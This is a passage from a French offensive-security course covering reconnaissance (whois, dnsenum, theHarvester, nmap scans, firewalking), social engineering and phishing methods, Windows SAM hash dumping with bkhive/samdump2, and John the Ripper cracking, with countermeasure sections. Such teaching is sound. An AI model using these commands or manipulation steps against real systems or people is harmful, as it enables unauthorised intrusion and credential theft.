même si ceux qui ne les respectent pas peuvent avoir "de la chance" et obtenir un
résultat, à votre dépend.

a) Qu'est ce qui est attaqué ?


Informations disponibles
Le premier point consiste bien entendu à déterminer qui ou quoi attaquer, et par
quel moyen. Pour cela, le cracker aura besoin de "connaître" son objectif, afin de
déterminer des éventuelles vulnérabilité. Pour cela, il réalise une première étape de
collecte d'informations (ou intelligence gathering) ... ce qui représente en fait
souvent l'essentiel du travail à réaliser.

Black, white et grey box


Bien entendu, l'attaquant peu être face à des systèmes où l'information est plus ou
moins difficile à obtenir. On parle alors de back box si l'attaquant n'a aucune
information, et a donc besoin de réaliser une collecte d'information totale.
Cependant, celui-ci peu avoir obtenu plus ou moins d'informations au préalables :
employé de la société, collaborateur, sous-traitant, client, partenaire, consultant,
etc ... On parle alors de grey box si l'utilisateur dispose d'informations minimales
(comme un couple login / mdp) ou de white box si l'utilisateur dispose déjà de
toutes les informations nécessaire, et n'a donc quasiment aucune nécessité de

Noël Macé (noelmace.com)


24
Sécurité offensive : savoir attaquer pour mieux se défendre

réaliser cette première étape.

b) Déterminer les vulnérabilité exploitables


Une fois que l'attaquant dispose des informations nécessaires (par exemple, le
serveur à attaquer est un serveur Apache, en version X, sur un système GNU/Linux,
etc ...), il peu dés lors utiliser ses connaissances (ou en rechercher de nouvelles)
afin de déterminer quelles sont les failles connues et exploitable. Connaître ces
failles est un travail de longue allène, nécessitant un audit permanent, que tout
responsable en sécurité se doit également d'effectuer.

Préparer le terrain
Le cracker pourra également utiliser les failles de systèmes annexes à son objectifs
afin de mettre en place les outils nécessaires à son attaque futur. Par exemple, un
trojan sur une machine donnée pourra permettre, le moment venu, de prendre le
contrôle sur une machine du réseau, et ainsi d'outrepasser certaines protections. Là
aussi, ce travail peu nécessiter beaucoup de temps et de patience, ce qui nécessite
donc de la part des responsable en sécurité une surveillance permanente de leur SI,
afin de détecter au plus vite tout signe avant coureur d'une attaque plus grave.

c) Passer à l'attaque
Enfin, le cracker utilisera toutes ces informations afin de passer à des attaques
concrètes sur son ou ses objectif(s) : DDOS, SQL injection, Cross Site Scripting, etc
...

D. Footprinting

1. Internet footprinting

L'Internet footprinting, comme son nom l'indique, consiste à "fouiller" dans


l'empreinte digitale de la cible sur Internet. Cela peu passer par une très grande
diversité d'outils et de méthodes. En voici quelques exemples :

a) Sites web
Archives et moteurs de recherches
Un grand nombre d'informations peuvent être retrouvées via des moteurs de
recherche (Google Hacking) ainsi que des sites d'archives (comme archives.org).
Ceux-ci peuvent par exemple permettre de retrouver des fichiers spécifiques de
configuration de serveur web, d'authentification, etc ... Les archives sont, elles, très
utiles pour réaliser des comparaison dans le temps : la configuration de ce serveur
a-t-elle été changée dernièrement ? Qui a quitté l'entreprise il y a peu ? etc ...

Exemple : Google Dorks


Vous pourrez retrouver un grand nombre d'exemples de google hacking sur exploit-
db.com23

23 - http://www.exploit-db.com/google-dorks

Noël Macé (noelmace.com)


25
Sécurité offensive : savoir attaquer pour mieux se défendre

Annonces d'emploi, CV d'employés, etc ...


Tout site "professionnel" peu également donné de nombreuses informations sur la
cible. Par exemple, si une entreprise recherche un DB admin Oracle ou comporte un
admin Oracle dans ses rangs, c'est sans aucun doute qu'au moins un de ses
serveurs de donné utilise cette solution. Nous pouvons donc ensuite rechercher où
exactement ce serveur est disponible, récupérer plus d'informations à son sujet, et
utiliser des failles connues.

Réseaux sociaux, forums et groupes de discutions


Tout site à dimension sociale est une mine d'or pour les attaquants potentiels :
informations sur la structure de la société, employé faisant part de problèmes
rencontrés, connexions entre personnes, informations personnelles, etc ...

Collecte d'adresses emails et de noms d'utilisateurs par le web


L’énumération d'adresses emails et de noms d'utilisateur par recherche sur le web
peu permettre de récolter certaines informations sur l'organisation de la cible, ses
membres, et ainsi cibler un utilisateur en particulier.

b) Autres services
WHOIS
Les WHOIS sont des services de recherche, offerts par des registres Internet
(comme les Registres Internet Régionaux tel que RIPE NCC pour l'Europe),
permettant de récolter les informations liées à un domaine ou une plage d'adresses
ip. Ainsi, il est possible en passant par un WHOIS, de savoir la date d'allocation d'un
domaine, le nom et les contacts (adresse, numéro de téléphone) de son
propriétaire, l'identité du registrar associé, etc ...
Pour l'utiliser, il suffit de lancer la commande whois sous GNU/Linux, suivie du nom
de domaine ou adresse IP à analyser, ou de se rendre sur whois.net24

Énumération DNS
Le DNS est bien entendu un élément central de toute configuration réseau, mais
aussi, souvent, l'un des plus accessible publiquement, du moins en partie.
L'énumération DNS va donc nous permettre de récolter de premières informations
sur la structure du réseau visé et l'hébergement des différents services d'un nom
de domaine.

Exemple : dnsenum.pl
dnsenum est un script perl permettant de faire une interrogation DNS complète,
comprenant :
 la récupération des adresses d'hôtes (enregistrements A), de serveurs de
nom (NS) et de serveurs de messagerie (MX)
 transfert de zone complet si possible (requêtes axfr)
 l'affichage de la version de serveur (BIND) utilisée
 la récupération de sous-domaines
- par google hacking
- par bruteforcing (à partir d'un fichier)
- avec récursivité
 requêtes whois

24 - http://whois.net/

Noël Macé (noelmace.com)


26
Sécurité offensive : savoir attaquer pour mieux se défendre

 l'enregistrement (vers un fichier domain_ips.txt) des blocs IP


 reverse lookup sur les blocs

2. Internet Footprinting : mise en pratique

Objectifs
Nous allons ici mettre en pratique les différents éléments
vus dans le module Internet Footprinting via différents
outils.

Pour ce faire, nous allons utiliser deux outils disponibles dans Kali Linux :
TheHarvester et dnsenum.pl

a) TheHarvester
TheHarvester est un script python d'énumération de noms d’utilisateurs et emails
permettant de rechercher simplement et rapidement ceux-ci pour une entreprise
grâce à des sites comme google ou linkedin par exemple. Il est par ailleurs
directement intégré dans Kali. Pour l'utiliser :

Remarque : Dans Kali Linux


Vous retrouverez cet outil dans le dossier /pentest/enumeration/theharvester. Pour
le lancer, il vous sera donc nécessaire de vous y rendre via la commande suivante :

1 $ cd /pentest/enumeration/theharvester
2

Usage

1 $ ./theHarvester.py -d url-cible -b outil

Exemple

1 $ ./theHarvester.py -d noelmace.com -b google

b) dnsenum.pl
Options
Enregistrer les sous-domaines découverts dans un fichier dédié :

1 dnsenum.pl domain.xxx –subfile results.txt

Spécifier un autre serveur de DNS pour la récupération des informations :

1 dnsenum.pl –dnsserver xxx.xxx.xxx.xxx domain.xxx

Noël Macé (noelmace.com)


27
Sécurité offensive : savoir attaquer pour mieux se défendre

i Introduction
dnsenum est un script perl permettant de faire une interrogation DNS complète,
comprenant :
 la récupération des adresses d'hôtes (enregistrements A), de serveurs de
nom (NS) et de serveurs de messagerie (MX)
 transfert de zone complet si possible (requêtes axfr)
 l'affichage de la version de serveur (BIND) utilisée
 la récupération de sous-domaines
- par google hacking
- par bruteforcing (à partir d'un fichier)
- avec récursivité
 requêtes whois
 l'enregistrement (vers un fichier domain_ips.txt) des blocs IP
 reverse lookup sur les blocs

Syntaxe

1 dnsenum.pl [Options] <domain>

ii Options
Enregistrer les sous-domaines découverts dans un fichier dédié

1 dnsenum.pl domain.xxx -subfile results.txt

Spécifier un autre serveur de DNS pour la récupération des


informations
Le cache du serveur DNS pouvant fausser certains résultats, il peut-être utile de
faire les interrogations sur un autre serveur. De plus, différents serveurs DNS
pouvant parfois avoir des entrées différentes, intéroger chacun d'entre eux peu
apporter un gain d'informations non négligeable.

1 dnsenum.pl -dnsserver xxx.xxx.xxx.xxx domain.xxx

Brute force
Pour déterminer certains sous-domaines par brute force (test de chaque possibilité
une à une) avec dnsenum, il vous est possible d'utiliser un dictionnaire, fichier texte
listant les différentes possibilités à tester. Dnsenum fourni lui même un dictionnaire
de base, dns.txt, listant 95 possibilités.

1 dnsenum.pl -f dns.txt domain.xxx

Google Scraping
Une recherche de sous-domaine peu également s'opérer via l'analyse de résultats
de recherche google. Les options -p et -s permettent de personnaliser ce
comportement.
 -p XX : nombre de pages de résultat à analyser (20 par défaut)
 -s XX : nombre maximum de sous-domaines à récupérer (20 par défaut)

Noël Macé (noelmace.com)


28
Sécurité offensive : savoir attaquer pour mieux se défendre

Whois
Dnsenum peu également récupérer un certain nombre d'informations en effectuant
des requêtes Whois. Les options -d (ou --delay) et -w (ou --whois) permettent de
personnaliser ce comportement.
 -d XX : nombre maximum de secondes d'attente entre chaque requête
whois (chaque délais étant défini aléatoirement) (3s par défaut)
 -w : réaliser des requêtes whois sur les adresses de classe C

Attention
L'usage de l'option -w peut considérablement augmenter le temps de traitement,
étant donné la quantité d'adresses possibles.

Remarque : -enum
L'option -enum est un raccourci pour --threads 5 -s 20 -w : parallélisation du
traitement en 5 threads pour plus de performance, intérogation de google et whois
sur les adresses de classe C.

Complément : Aide
Pour voir l'intégralité des options de dnsenum et leur utilité, lancez simplement :

1 dnsenum.pl -h

3. Scanning

Le scanning va nous permettre, en analysant / écoutant un réseau ou certains de


ses éléments clés, de déterminer sa structure, ses membres ainsi que certains de
ses paramètres de sécurité. C'est donc une étape du footprinting suivant
directement l'Internet footprinting et précédent le fingerprinting. On abordera ici les
question du tracerouting, du network scanning, du firewalking, et du port scanning.

a) Tracerouting
Technique
Le tracerouting consiste à suivre le chemin emprunté par un paquet de notre
machine vers une machine cible. Pour ce faire, on va utilisé un élément interessant
du protocol IP, le TTL (pour Time to Live).
Le TTL indique la "durée de vie" d'un paquet IP, grâce à deux points :
 le TTL est décrémenté à chaque "saut" (passage par un routeur)
 si le TTL est égal à zéro, le routeur "détruira" le paquet IP et renverra une
erreur "TTL excceed" (ICMP type 11)
Un utilitaire de tracerouting va donc envoyer plusieurs datagrammes UDP (voir des
segments TCP ou des paquets ICMP) successifs vers une cibles, avec un TTL
croissant (en partant de 1), ce qui nous permettra de recevoir une réponse de
chaque routeur emprunté pour atteindre la cible. Ces réponses, indiquant l'IP du
routeur en question, nous permettront donc de "tracer" le chemin normalement
emprunté par un paquet IP pour joindre la cible.

Exemple : tracerouting sous GNU/Linux


La commande traceroute de GNU/Linux (que vous retrouverez dans Kali Linux)

Noël Macé (noelmace.com)


29
Sécurité offensive : savoir attaquer pour mieux se défendre

permet simplement de lancer un tracerouting vers une cible.


Les options de cette commande les plus utiles sont :
 -n pour empêcher la résolution de nom
 -f XX pour déterminer la valeur initiale du TTL
 -I / -T / -U pour respectivement envoyer soit des paquets ICMP, soit des
segements TCP, soit des datagrammes UDP.

b) Network scanning
Le network scanning va, lui, permettre d'identifier les différents hôtes présents sur
un réseau. Pour cela, nous réalison un ensemble de "ping".

Définition : Ping
Opération consistant à identifier si un hôte est actif sur un réseau en lui envoyant
un message (le ping), qui sera suivit d'une réponse (pong) si l'hôte est
effectivement actif.

Attention : Le ping, ce n'est pas que de l'ICMP !


Même si le "ping" est principalement opéré par ICMP (grâce au type 9 , "Echo
request", et à sa réponse de type 0, "Echo reply"), il est parfaitement possible de le
réaliser grâce à d'autres protocoles (TCP ou ARP).

Exemple : arp-scan
Sous GNU/Linux :

1 arp-scan --localnet -I eth0

Permet de lancer un scan ARP sur le réseau local connecté via l'interface eth0.
Exemple : chercher les machines VirtualBox dans un sous-réseau local :

1 arp-scan 172.26.10.0/24 -I eth0 | grep -P '\t08:00:27'

Complément : Liste des adresses MAC constructeur


Vous pouvez facilement déterminer le constructeur d'une carte réseau grâce à son
adresse MAC :
 http://standards.ieee.org/develop/regauth/iab/iab.txt 25
 http://standards.ieee.org/develop/regauth/oui/public.html 26
La plupart sont directement renseignées dans arp-scan (/usr/share/arp-san/*.txt).

c) Port scanning
Le port scanning est une technique permettant de déterminer les ports ouverts ou
fermés sur une cible. Il peu se faire via plusieurs protocoles et techniques : TCP
(SYN stealth, Xmas scan, FIN scan, NULL scan, ACK scan), UDP, IP, ou encore via
un tiers (FTP scan, idle scan).

25 - http://standards.ieee.org/develop/regauth/iab/iab.txt
26 - http://standards.ieee.org/develop/regauth/oui/public.html

Noël Macé (noelmace.com)


30
Sécurité offensive : savoir attaquer pour mieux se défendre

Exemple : nmap
nmap est un outil en ligne de commande permettant de réaliser de nombreuses
opérations sur un réseau, y compris du port scanning, mais aussi du network
scanning. En voici quelques options utiles :
 network scanning
- -sP : ping scanning
- -sT : TCP connect( ) scan
 port scanning
- -sS : SYN stealth scan
- -sX : Xmas scan
- -sF : FIN scan
- -sN : Null scan
- -sA : ACK scan
- -sU : UDP scan
- -b : FTP bounce scan
- -sI : Idle host scan
- -g : Source port scan
- -sO : IP protocol scan
SYN stealth scan sur l'hôte 192.168.1.10 :

1 nmap -sS 192.168.1.10

Pour oppérer un Idle host scan :


On recherche un "zombie" adéquat (Windows XP par exemple ) :

1 nmap -sP 172.26.10.0/24


2 nmap -O 172.26.10.241

Puis on lance le scan sur une cible :

1 nmap -P0 -sI 172.26.10.241 172.26.10.1

d) Firewalking
Le firewalking permet, grâce à différentes méthodes (tracerouting, TTL, ping,
etc ...), de déterminer les ACL d'un firewall. Concrètement, le firewalking va
généralement être opéré via tracerouting. Si une réponse "Time Exceeded" est
reçue, cela indique alors que le paquet en question a bien pu passer le firewall. Si,
en revanche, aucune réponse n'est reçue, le paquet n'a pas passé le firewall. Enfin,
si une réponse "ADMINISTRATIVELY_PROHIBITED" est reçue, cela nous indique
directement qu'une ACL du firewall interdirait ce paquet à passer. Le tout est
complété par un port scanning afin de déterminer les ports ouverts et fermés.

Exemple : firewalk et nmap script


Les deux outils les plus connus pour opérer du firewalking sont firewalk, un outil en
ligne de commande pour GNU/Linux (mais non disponible par défaut sous
BackTrack) et nmap, à l'aide d'un script (directement disponible sous BackTrack).
Firewalking TCP avec firewalk sur le firewall 192.168.1.10 sur les ports 20 à 25 :

1 firewalk -p TCP -S 20-25 192.168.1.10 192.168.10.10

Noël Macé (noelmace.com)


31
Sécurité offensive : savoir attaquer pour mieux se défendre

ou avec nmap :

1 nmap --script=firewalk --traceroute 192.168.10.10

4. Fingerprinting

Le fingerprinting est une phase du footprinting intervenant juste après le scanning.


Une fois les hôtes (leurs différents services, ainsi que l'infrastructure de leur
réseau) déterminés grâce au scanning, nous allons, grâce au fingerprinting,
déterminer le système d'exploitation de ces hôtes, afin, ensuite, d'exploitées les
différentes failles connues sur celui-ci.

Fonctionnement
Le fingerprinting se base sur une base de données "d'empreintes" de systèmes
d'exploitation, établie grâce aux différents comportements de ceux-ci relativement
aux protocoles TCP/IP. En effet, chaque OS intègre les standards de manières
différentes, et ces différences, subtiles mais systématiques, permettent de
distinguer les OS uniquement grâce à leurs réponses.

a) Deux techniques
fingerprinting passif
Solution la moins intrusive, le fingerprinting passif ne nécessite aucune interaction
directe avec la cible. En effet, nous allons ici nous baser uniquement sur les
informations délivrées grâce à une écoute du réseau (Sniffing). Cependant, cette
solution sera bien entendu bien moins efficace et plus longue que la suivante,
puisque ne permettant pas de déclencher d'opération spécifique de la part de la
cible.

fingerprinting actif
Pour gagner en temps et en efficacité, il peu donc être choisi d'opérer un
fingerprinting actif. Ici, au lieu d'écouter le réseau, nous allons directement envoyer
une série de paquets spécifiques à la cible, permettant d'obtenir exactement les
réponses les plus parlantes.

b) Outils
nmap
Nmap dispose d'une large base de donnée, constamment mise à jour, permettant le
fingerprinting. Pour ce faire, il suffit d'utiliser l'option -O :

1 $ nmap -O 192.168.1.10

5. Comment contrer le footprinting ?

Comment se prémunir du footprinting ? Nous allons voir ici différentes techniques


permettant la défense contre les différentes techniques évoquées, puis concluerons
par une rapide réfléxion sur l'utilité et la relation à entretenir vis à vis de ces
techniques.

Noël Macé (noelmace.com)


32
Sécurité offensive : savoir attaquer pour mieux se défendre

a) Contres mesures
Éviter toute verbosité
De nombreuses techniques de footprinting reposant sur les réponses offertes par
les cibles (network scanning, firewalking, tracerouting), bloquer (grâce à un firewall
ou à certains paramètres système) l'envoi de ces réponses est bien entendu une
des premières contres mesures à mettre en place. Revers de la médaille : ces
messages ont bien entendu à l'origine un but, informer l'utilisateur "bien
intensionné" d'une erreur dans le système. Bloquer ces message aura donc pour
effet non seulement d'éviter de donner des informations aux attaquants, mais aussi
aux usagers et administrateurs.
Les premiers messages à bloquer, sans grande conséquence pour les utilisateurs
"normaux", seront les paquets ICMP de type 0 (echo reply) et 11 (time exceeded).
D'autres paquets ICMP, comme ceux de type 9 (echo request) ou 3 (Destination
Unreachable), peuvent également être bloqués.

"Fausser" les réponses


Autres solution encore plus utile, il est possible de "fausser" les réponses à des
telles attaques, via un utilitaire ou en modifiant certains paramètres du système.
Par exemple, portspoof est un utilitaire permettant d'envoyer systématiquement
des réponses erronées à un port scanning sur une machine GNU/Linux.

Respecter une politique de sécurité sctrict


Par ailleurs, nous avons également vu que de nombreuses informations sur une
cible peuvent être obtenues par Internet. Il est donc primordiale de mettre en place
une politique de sécurité strict pour toutes les parties en présence (employés,
collaborateurs, etc ...) afin d'éviter que certaines informations compromettantes
filtrent. Pour cela, il est bien entendu nécessaire que toutes les personnes
impliquées soient correctement formées, informées et sensibilisées aux enjeux de la
sécurité. Tout cela se fera particulièrement dans le cadre de la sécurité
opérationnelle, mais également sur certains points de sécurité défensive.

b) Obscurité ou ouverture ?
Limites de la sécurité par l'obscurité
Comme nous venons de le voir, la principale contre-mesure directe au footprinting
est bien entendu d'éviter que des informations compromettantes parviennent aux
attaquants potentiels. C'est ce qu'on appel la sécurité par l'obscurité. Il est
cependant aujourd'hui reconnu que la politique par l'obscurité ne peu fonctionner,
de part deux faits :
 aucune organisation, quelque soit ses moyens, n'est capable de filtrer et
contrôler toutes ses informations
 l'obscurité empêche également les white hats, utilisateurs et administrateurs
de correctement auditer le système, et donc d'informer l'organisation de ses
failles
Aujourd'hui, le comportement prépondérant est cependant de privilégier
l'obscurité ... jusqu'à entraîner de nombreuses conséquences d'un point de vue
juridique. Dans de nombreux pays, même de simples pings peuvent être considérés
comme illégaux, permettant ainsi aux organisations de porter plainte contre toute
personne ayant utilisé une technique de footprinting, malgrès le fait que l'usage de
ces technique n'est que rarement suivit par des attaques concrètes portant à
conséquence. Poursuivre ce genre de politique est extrêmement contre productif en
cela qu'elle prive de l'aide de nombreux hackers bienveillants, prêts à informer
l'organiser de toute faille rencontrée.

Noël Macé (noelmace.com)


33
Sécurité offensive : savoir attaquer pour mieux se défendre

Privilégier l'ouverture
Pour une politique de sécurité efficace, il est donc primordial de refuser toute
poursuite judiciaire contre les white hats, et d'informer la communauté de ce choix.
Bien entendu, cela implique une politique de sécurité bien établie et la plus fiable
possible, puisque nous permettons par la même occasion aux black hats de réaliser
leur footprinting en toute impunité. Mais récolter ces informations ne sera que de
peu d'utilité à un cracker si celui-ci ne rencontre aucune faille.
E. Ingénierie sociale : cracker sans ordinateur
Qu'est ce que l'ingénierie sociale ?
L'ingénierie sociale (ou social engineering en anglais) est une forme de cracking
sans ordinateur, puisque utilisant uniquement la principale faille de tout système :
l'humain. En abusant des faiblesse de son interlocuteur (confiance, peur, ignorance,
crédulité), le cracker pourra obtenir des informations clés, certains accès, voir
même des biens ou des services. L'ingénierie sociale formalise toutes les techniques
utiles à cette tâche et peu donc être utilisé aussi bien dans la première phase
d'étude d'une attaque, que lors de l'attaque elle même.

1. Méthodologie

Les 4 phases de l'ingénierie sociale


Pour réaliser une bonne ingénierie sociale, il est nécessaire de décomposer sa
démarche en quatre phases clés :
1. recherches sur la cible
- Internet footprinting, documents, etc ...
2. sélection d'une "victime"
- en fonction de ses "failles" supposées, de ses capacités d'action et des
informations disponibles
3. prise de contact et entretien de la relation
- même si non indispensable, cette étape permettra toujours d'obtenir
bien plus de la victime grâce à sa confiance
4. exploitation
- collecte d'informations, mise en place d'outils pour une attaque future
(trojan, backdoor ...), accès aux locaux, etc ...

Qui cibler ?
Avant de choisir une victime, il est bien entendu important de se renseignement sur
le rôle de chacun dans la société et, autant que possible, sur la politique de sécurité
mise en place et le niveau de formation sur les questions de sécurité. Il est assez
rare de pouvoir directement exploiter des techniciens et décisionnaires, car ceux ci,
généralement conscient de l'importance de l'information et de la politique de
sécurité, seront difficilement exploitables. Mais leur exploitation reste possible. En
sortant des techniques conventionnelles et avec beaucoup d'ingéniosité, exploiter
ce type de personne permet donc d’accéder rapidement à certaines informations et
services hautement sensibles. Les victimes généralement privilégiées sont
cependant des personnes de plus bas niveau (hiérarchique et de compétence) dans
l'organisation cible : secrétaires, clients, opérateurs, assistants, etc ... car ceux-ci
sont généralement assez peu formés (et donc peu sensibilisés) aux enjeux de la
sécurité.

Noël Macé (noelmace.com)


34
Sécurité offensive : savoir attaquer pour mieux se défendre

2. Quelques techniques d'ingénierie sociale

Les bonnes vieilles méthodes


L'ingénierie sociale peu parfois passer par des techniques déjà bien connues et très
simples comme :
 l'eves dropping ("écouter aux portes")
 dumpster diving ("fouiller les poubelles")
 shoulder surfing ("regarder par dessus l'épaule")
 etc ...

Hameçonnage (Phishing)
Le phising est une technique de plus en plus connue du grand publique, mais
encore très employée. Elle consiste simplement à se faire passer pour un tiers de
confiance (banque, entreprise, etc ...) auprès de la victime, afin de lui soutirer des
informations personnelles, le plus souvent pour une usurpation d'identité. Elle
s'opère le plus souvent par e-mail ou site web falsifié, mais aussi par courrier postal
(ou smail, pour snail, escargot en anglais, et mail) ou tout autre moyen (réseaux
sociaux, forums, irc ...).

Exemple de phishing

Noël Macé (noelmace.com)


35
Sécurité offensive : savoir attaquer pour mieux se défendre

Reverse Social Engeneering


Le reverse social engeneering est une des techniques les plus poussées de
l'ingénierie sociale, nécessitant beaucoup de préparation, mais aussi une des plus
efficace. Elle consiste en effet à "renverser" les rapports entre l'attaquant et la
victime, en faisant en sorte que la victime elle même fasse appel à l'attaquant. En
quelque mots, nous faisons en sorte que la victime "ai besoin de nous". Cela passe
généralement par les étapes suivantes :
1. se renseigner sur la victime (comme pour toute opération d'ingénierie
sociale)
2. se renseigner sur ses difficultés et, à défaut, en créer
3. résoudre les premières difficultés de la victimes (bénévolement ou contre un
prix modique) afin de gagner sa confiance
4. déclencher (ou attendre) une difficulté de plus grande envergure, pour
laquelle nous pourrons intervenir

3. Contre-mesures

Pour se prémunir contre l'ingénierie sociale, il n'existe qu'une seule et même


méthode, valable pour tous les aspects de la sécurité : former, renseigner,
encadrer ! Pour améliorer la robustesse de ces protections, mettre en place une
démarche standard pour toute opérations liées aux informations et manipulations
d'outils informatiques ou sain de l'entreprise peu être un plus indéniable. Cela peu
passer par une classification des informations et des services (secret, confidentiel,
etc ...) et la mise en œuvre de procédures systématique pour chacune de ces classe
(validation par un supérieur, vérification de l'identité de la personne, etc ...).

4. Pour aller plus loin

Ouvrages de référence
Kevin Mitnick et William L. Simon and Linux Di Mafia and Holt 49, L'art de la
supercherie, éditions Wiley/Campus Press, 6 mai 2003, 377 p. (ISBN 2-7440-1570-
9)

F. Les principales attaques à connaître

1. Password cracking

Un mot de passe (ou passphrase) est un élément essentiel de l'authentification et


de la sécurisation des accès et données. Une étape clé dans le cracking d'un
système est donc de récupérer ces mots de passe. Cela peu se faire de deux
manières : soit par vol d'information (le plus souvent par social engeneering ou
sniffing), soit par une solution technique. C'est cette dernière méthode que nous
évoquons quand nous parlons de password cracking.

a) Deviner un mot de passe


Deviner un mot de passe peu s'avérer bien plus simple qu'il pourrait sembler à
prime abord. En effet, avec une petite étude préalable (ingénierie sociale, vol
d'informations, etc ...), il est possible de connaitre des informations clés sur

Noël Macé (noelmace.com)


36
Sécurité offensive : savoir attaquer pour mieux se défendre

l'utilisateur ayant généré le mot de passe. Le plus souvent, les utilisateurs peu
sensibilisés aux questions de sécurité utilisent de simples mots du dictionnaire, des
prénoms, etc ... Et, cerise sur le gâteau, un encore plus grand nombre d'utilisateurs
ré-emploient le même mot de passe sur plusieurs plateformes.

Quelques exemples de mots de passe


 identique (ou similaire) au nom d'utilisateur : root, toor, noel, utilisateur138,
admin, guest...
 simple dérivé du terme "mot de passe" : pass, password, p@ssword, mdp,
etc ...
 un mot très courant : toto, test, beta, qwerty, azerty, 1234, 1234567890 ...
 un mot lié à la vie ou l'entourage de l'utilisateur : pierre, medor, sylvie, date
d'anniversaire d'un enfant ...

b) Password dumping
Une étape nécessaire
La plupart des systèmes limitent aujourd'hui le nombres d'essais possibles sur un
mot de passe. Il est donc nécessaire, le plus souvent, de récupérer le hash de ce
mot de passe (en base de donnée, dans un fichier de configuration, par sniffing ...)
afin de pouvoir le cracker "tranquillement". C'est ce qu'on appel le password
dumping.

Exemple : Sur une session Windows ouverte


pwdump est un famille d'utilitaires permettant de récupérer les hashs LM et NTLM à
partir de la base SAM d'un système windows. On peu par exemple en récupérer une
version ici27 (sans garantie cependant de sa fiabilité).

Exemple : Avec accès physique à une machine Windows


Si, en revanche, vous ne disposez pas d'une session ouverte sur la machine, vous
pouvez tout simplement redémarrer cette machine sur un live backtrack (de
préférence en live-usb avec stockage permanent) et lancer les commandes
suivantes après montage de la partition windows :

1 $ cd /mnt/sdaX/Windows/System32/config/
2 dump de la clé de chiffrement de la base SAM, syskey/bootkey :
3 $ bkhive SYSTEM ~/key.txt
4 dump de la base SAM décryptée grâce à la clé précédemment récupérée :
5 $ samdump2 SAM ~/Desktop/key.txt > ~/Desktop/hash.txt
6 Puis nous pouvons partir et cracker ces hashs d'un endroit plus sûr
(par exemple avec Ophcrack) ...

c) Password cracking
Préalable
Obtenir des information sur la politique de sécurité concernant les mot de passes à
cracker est primordiale. Par exemple, savoir qu'un mot de passe comprend
nécessairement entre 8 et 12 chiffres ou lettres minuscules diminuera radicalement
le nombre d'essais nécessaires.

27 - http://www.tarasco.org/security/pwdump_7/

Noël Macé (noelmace.com)


37
Sécurité offensive : savoir attaquer pour mieux se défendre

Bruteforcing
L'attaque par bruteforcing est sans doute une des techniques les plus simple à
comprendre et concevoir, mais également une des moins efficace. Elle consiste en
effet à tester, une à une, toutes les combinaisons de caractères possibles, jusqu'à
obtenir le mot de passe correspondant. Ce genre de solution demande, dans la
plupart des cas, de très grandes ressources, puisque étant réalisée sans aucune
optimisation. Le nombre de possibilités dépend directement du nombre et du type
de caractères employés :
 si le mot de passe ne contient que des lettres de l'alphabet, toutes en
minuscules ou en majuscules, 26N essais au maximum seront nécessaires
 si le mot de passe ne contient que des lettres de l'alphabet, à la fois
majuscules ou minuscules, 52N essais au maximum seront nécessaires
 si le mot de passe est constitué d'un mélange de minuscules, minuscules et
chiffres, 62N essais au maximum seront nécessaires
 ce nombre devient encore plus grand si le mot de passe peu être composé
d'espaces et de caractères spéciaux
De ce fait, de nombreuses optimisations sont nécessaires. En voici quelques unes.

Attaque par dictionnaire


Une attaque par dictionnaire consiste simplement à tester si différents termes d'un
dictionnaire (que l'on pourra avoir téléchargé ou personnalisé) correspondent au
mot de passe recherché. Cette solution est particulièrement utile si les usagers sont
peu sensibilisés aux politiques de sécurité, et utilisent probablement des mots
courants, des noms, des prénoms, ou des combinaisons courantes (voir la partie
précédente).

Rainbow table
Les rainbow tables sont des structures de données permettant de retrouver un mot
de passe grâce à son emprinte, établie par cryptanalyse. Celles-ci sont
extrèmement efficaces ! Par exemple, un LM hash (comme ceux utilisés sous
Windows XP) peu être cracké en quelques secondes grâce à elles. Cependant, une
rainbow table est rapidement très volumineuse. Par exemple, pour un LM hash sur
62 caractères (chiffres, minuscules et majuscules), la rainbow table nécessaire
"pèsera" dans les 703Mo, alors que celle nécessaire pour un LM hash comprenant
des caractères spéciaux (espaces compris) "pèse" dans les 7,5Go.

Optimisations statistiques
De fait, il n'existe aujourd'hui pas de générateur d’aléatoirité parfait. Comme les
fonctions de hashage reposent sur ces générateurs d’aléatoirité, il est possible, par
simple information statistique, de réduire drastiquement le nombre d'essais
nécessaires. Il peu pour cela être fort utile de savoir sur quel système a été réalisé
ce hashage (architecture, OS, logiciel).
D'autres observations statistiques peuvent encore permettre de cracker plus simple
un mot de passe. Par exemple, certains travaux récents de Kevin Young28 ont
permit de cracker des pass phrases très rapidement grâce à de simples études
statistiques basées sur un certain contexte linguistique.

28 - https://linuxfr.org/users/gui13/journaux/la-proche-fin-des-mots-de-passe

Noël Macé (noelmace.com)


38
Sécurité offensive : savoir attaquer pour mieux se défendre

Exemple : John the ripper


John the ripper est sans doute un des crackers pour mot de passe les plus connus.
Cet outil, simple d'emploi, peu réaliser cracker un mot de passe via 3
modes principaux :
 mode simple : adaptés aux mots de passes les plus faibles, ce mode réalise
de simples transformations à partir du nom d'utilisateur
 mode incrémental : réalise un bruteforce optimisé par rapports aux
fréquences d'utilisation de caractères
 mode dictionnaire : attaque par dictionnaire
D'autres modes sont bien entendu possibles.
John réalise ces opérations sur un fichier, dans lequel auront été placés les hash des
mots de passe à cracker. Ce fichier peu donc être un simple fichier de configuration,
comme par exemple un fichier /etc/shadown d'un système Unix.
Pour télécharger john the ripper, rendez vous sur openwall.com29. John est
également directement disponible dans backtrack 5, dans le dossier
/pentest/passwords/john.

1 Mode simple :
2 $ john password.txt

1 Mode incrémental :
2 $ john --incremental password.txt
3 Pour restreindre la recherche aux caractères alphabétiques :
4 $ john -i :alpha password.txt
5 Pour restreindre la recherche aux chiffres :
6 $ john -i :digit password.txt

1 Attaque par dictionnaire :


2 $ john --wordlist=password.lst password.txt

Pour obtenir des dictionnaires supplémentaires, vous pouvez soit les télécharger
(sur le ftp de john30 par exemple) ou les créer (voir pour cela la documentation31).

1 Pour afficher les mots de passes trouvés :


2 $ john --show password.txt

Pour en savoir plus, rendez vous sur la documentation de john the ripper :
http://www.openwall.com/john/doc/32

2. Rappels sur les protocoles réseaux et transport

a) Modèle OSI
Présentation
 standard de communication en réseau de tout les systèmes informatiques
- OSI : Open Systems Interconnection
 Modèle basique de référence pour l'interconnexion des systèmes ouverts
(OSI) : ISO 7498

29 - http://www.openwall.com/john/
30 - ftp://ftp.openwall.com/pub/wordlists/
31 - http://www.openwall.com/john/doc/RULES.shtml
32 - http://www.openwall.com/john/doc/

Noël Macé (noelmace.com)


39
Sécurité offensive : savoir attaquer pour mieux se défendre

- nécessaire face à la diversité des solution à sa création (1984)


- définie un modèle universel pour les développeurs et les fabricants
